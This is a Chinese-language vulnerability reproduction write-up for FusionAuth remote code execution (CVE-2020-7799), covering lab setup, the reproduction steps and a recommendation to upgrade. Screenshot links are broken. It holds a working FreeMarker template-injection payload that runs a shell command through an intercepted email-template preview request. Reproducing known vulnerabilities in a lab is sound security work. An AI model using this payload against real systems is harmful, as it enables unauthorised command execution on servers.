FusionAuthRCE(CVE-2020-7799)

# 简介

FusionAuth是一个免费的身份管理平台，安装简单，易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。

# **影响版本**

FusionAuth <= 1.11.0 # **环境搭建** 下载 FusionAuth 1.10.0 ``` wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip ``` /20200802115651322.png) ``` wget https://www.elastic.co/cn/downloads/past-releases/elasticsearch-6-8-6 ``` 启动 MySQL /etc/init.d/mysql start 启动 ElasticSearch systemctl start elasticsearch.service 启动 FusionAuth bin/startup.sh /20200802115725147.png) /20200802115731850.png) http://Your-ip:9011打开网站 /20200802115743532.png) 配置 FusionAuth /20200802115757390.png) 配置 Elastic Search /20200802115808347.png) /20200802115814835.png) /202008021158222.png) /20200802115829505.png) # ***漏洞复现*** 进入 setting -> email template

然后编辑

/20200802115843740.png)

点击 Preview,抓包

/20200802115855502.png)

“`
修改

emailTemplate.defaultHtmlTemplate

为

${“freemarker.template.utility.Execute”?new()(“id”)}
“`

/20200802115922512.png)

/20200802115929407.png)

# **修复建议**

升级到最新版